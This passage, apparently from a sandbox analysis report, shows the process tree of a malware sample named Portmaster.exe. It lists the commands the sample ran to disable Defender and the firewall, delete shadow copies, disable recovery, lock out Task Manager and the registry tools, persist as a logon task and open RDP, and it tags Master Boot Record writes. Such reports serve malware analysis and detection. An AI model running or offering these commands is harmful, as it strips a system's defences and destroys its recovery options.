        PID:7992
      - C:\Windows\SysWOW64\sc.exe
        
        sc config WinDefend start= disabled
        6⤵
        Launches sc.exe
        
        PID:10832
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
        5⤵
        
        PID:8280
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc config EventLog start= disabled
        5⤵
        
        PID:7504
    - - C:\Windows\SysWOW64\WerFault.exe
        
        C:\Windows\SysWOW64\WerFault.exe -u -p 7536 -s 612
        5⤵
        Program crash
        
        PID:8092
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      Drops startup file
      PID:2948
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        
        PID:756
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:7308
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        5⤵
        
        PID:7180
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
        5⤵
        
        PID:8920
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
        5⤵
        
        PID:4124
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
        5⤵
        
        PID:8952
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reagentc /disable
        5⤵
        
        PID:9368
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
        5⤵
        
        PID:9284
      - C:\Windows\SysWOW64\sc.exe
        
        sc config wuauserv start= disabled
        6⤵
        Launches sc.exe
        
        PID:7900
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:9620
      - C:\Windows\SysWOW64\sc.exe
        
        sc config WinDefend start= disabled
        6⤵
        Launches sc.exe
        
        PID:7388
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc config Schedule start= disabled
        5⤵
        
        PID:5892
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      Drops startup file
      System Location Discovery: System Language Discovery
      PID:1068
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        
        PID:6256
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:4900
      - C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        6⤵
        
        PID:7692
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        5⤵
        
        PID:4220
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
        5⤵
        
        PID:9904
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:8888
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall set allprofiles state off
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:8060
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
        5⤵
        
        PID:11008
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      Writes to the Master Boot Record (MBR)
      PID:5984
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        
        PID:6480
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
        5⤵
        
        PID:7560
    - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
        5⤵
        Drops startup file
        
        PID:5064
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        6⤵
        
        PID:7636
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        6⤵
        
        PID:2460
        
        C:\Windows\System32\Conhost.exe
        
        \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        7⤵
        
        PID:7244
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
        6⤵
        
        PID:3900
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
        6⤵
        
        PID:2992
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
        6⤵
        
        PID:9980
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
        6⤵
        
        PID:3408
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reagentc /disable
        6⤵
        
        PID:8780
        
        C:\Windows\SysWOW64\ReAgentc.exe
        
        reagentc /disable
        7⤵
        Drops file in Windows directory
        
        PID:9868
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled
        6⤵
        
        PID:10496
    - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
        5⤵
        Writes to the Master Boot Record (MBR)
        
        PID:8744
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        6⤵
        
        PID:3312
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        6⤵
        
        PID:6960
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        7⤵
        
        PID:7792
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
        6⤵
        
        PID:9472
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableRealtimeMonitoring $true
        7⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:9728
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
        6⤵
        
        PID:5308
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
        6⤵
        
        PID:11024
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      Drops startup file
      Writes to the Master Boot Record (MBR)
      PID:7644
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        
        PID:9084
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:8452
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        5⤵
        
        PID:9108
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
        5⤵
        
        PID:9036
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableRealtimeMonitoring $true
        6⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:9064
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
        5⤵
        
        PID:10192
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall set allprofiles state off
        6⤵
        Modifies Windows Firewall
        
        PID:7500
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
        5⤵
        
        PID:9724
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
        5⤵
        
        PID:10888
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
        5⤵
        
        PID:9564
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      Drops startup file
      Writes to the Master Boot Record (MBR)
      PID:5320
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        
        PID:964
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:8120
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
        5⤵
        
        PID:8288
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableRealtimeMonitoring $true
        6⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:9168
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
        5⤵
        
        PID:9496
      - C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall set allprofiles state off
        6⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:10108
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
        5⤵
        
        PID:5424
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
        5⤵
        
        PID:10928
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      Drops startup file
      Writes to the Master Boot Record (MBR)
      PID:1340
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        5⤵
        
        PID:3004
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        5⤵
        
        PID:8900
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        5⤵
        
        PID:1692
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
        5⤵
        
        PID:8904
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
        5⤵
        
        PID:8416
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
        5⤵
        
        PID:3864
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:9984
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
        5⤵
        
        PID:9800
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reagentc /disable
        5⤵
        
        PID:8164
      - C:\Windows\SysWOW64\ReAgentc.exe
        
        reagentc /disable
        6⤵
        Drops file in Windows directory
        
        PID:7012
    - - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
        5⤵
        System Location Discovery: System Language Discovery
        
        PID:3368
  - - C:\Windows\SysWOW64\WerFault.exe
      C:\Windows\SysWOW64\WerFault.exe -u -p 1704 -s 700
      4⤵
      Program crash
      PID:8500
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    - Drops startup file
    PID:8236
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    - Drops startup file
    - Writes to the Master Boot Record (MBR)
    PID:5932
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      PID:8092
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      PID:8728
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      PID:7208
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      PID:7952
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:8336
- - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
    "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
    3⤵
    PID:6712
  - - C:\Windows\SysWOW64\cmd.exe
      C:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow
      4⤵
      PID:748
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      PID:7724
  - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
      "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
      4⤵
      PID:8056
    - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
        5⤵
        Drops startup file
        
        PID:6540
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        6⤵
        
        PID:7468
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:6196
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        6⤵
        
        PID:2536
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        7⤵
        
        PID:8124
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        6⤵
        
        PID:8800
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
        6⤵
        
        PID:3044
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
        6⤵
        
        PID:6024
        
        C:\Windows\SysWOW64\netsh.exe
        
        netsh advfirewall set allprofiles state off
        7⤵
        Modifies Windows Firewall
        Event Triggered Execution: Netsh Helper DLL
        
        PID:6168
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet
        6⤵
        
        PID:7700
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
        6⤵
        
        PID:10752
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reagentc /disable
        6⤵
        
        PID:9252
    - - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
        5⤵
        Writes to the Master Boot Record (MBR)
        
        PID:7688
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        6⤵
        
        PID:7456
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        7⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:7180
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        6⤵
        
        PID:7992
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        6⤵
        
        PID:4196
      - C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
        6⤵
        
        PID:3196
      - C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
        6⤵
        Writes to the Master Boot Record (MBR)
        
        PID:4480
        
        C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
        7⤵
        
        PID:2460
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        8⤵
        
        PID:9680
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        8⤵
        
        PID:840
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        9⤵
        
        PID:8328
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        8⤵
        
        PID:9244
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        9⤵
        
        PID:10840
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
        8⤵
        System Location Discovery: System Language Discovery
        
        PID:8172
        
        C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
        7⤵
        Writes to the Master Boot Record (MBR)
        
        PID:5116
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        8⤵
        
        PID:9632
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        8⤵
        
        PID:9444
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        9⤵
        
        PID:8016
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        8⤵
        
        PID:9896
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        9⤵
        
        PID:7552
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
        8⤵
        
        PID:1740
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
        8⤵
        
        PID:8092
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures
        8⤵
        
        PID:10752
        
        C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
        7⤵
        Drops startup file
        
        PID:3900
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        8⤵
        
        PID:9700
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        8⤵
        
        PID:9440
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        9⤵
        
        PID:1200
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        8⤵
        
        PID:1864
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        9⤵
        
        PID:10532
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
        8⤵
        
        PID:10664
        
        C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
        7⤵
        Writes to the Master Boot Record (MBR)
        
        PID:8688
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        8⤵
        
        PID:9644
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        9⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:10004
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        8⤵
        
        PID:8716
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        9⤵
        
        PID:10988
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        8⤵
        
        PID:9884
        
        C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
        7⤵
        Drops startup file
        
        PID:6464
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        8⤵
        
        PID:9668
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f
        8⤵
        
        PID:9944
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        8⤵
        
        PID:2340
        
        C:\Windows\SysWOW64\reg.exe
        
        reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f
        9⤵
        
        PID:9812
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true
        8⤵
        
        PID:9652
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell Set-MpPreference -DisableRealtimeMonitoring $true
        9⤵
        Disables one or more Microsoft Defender components
        Command and Scripting Interpreter: PowerShell
        
        PID:9224
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off
        8⤵
        
        PID:6176
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No
        8⤵
        
        PID:9880
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled
        8⤵
        
        PID:10152
        
        C:\Users\Admin\AppData\Local\Temp\Portmaster.exe
        
        "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"
        7⤵
        
        PID:8472
        
        C:\Windows\SysWOW64\cmd.exe
        
        C:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        8⤵
        
        PID:9656
        
        C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f
        9⤵
        Scheduled Task/Job: Scheduled Task
        
        PID:9700
        
        C:\Windows\SysWOW64\cmd.exe
        
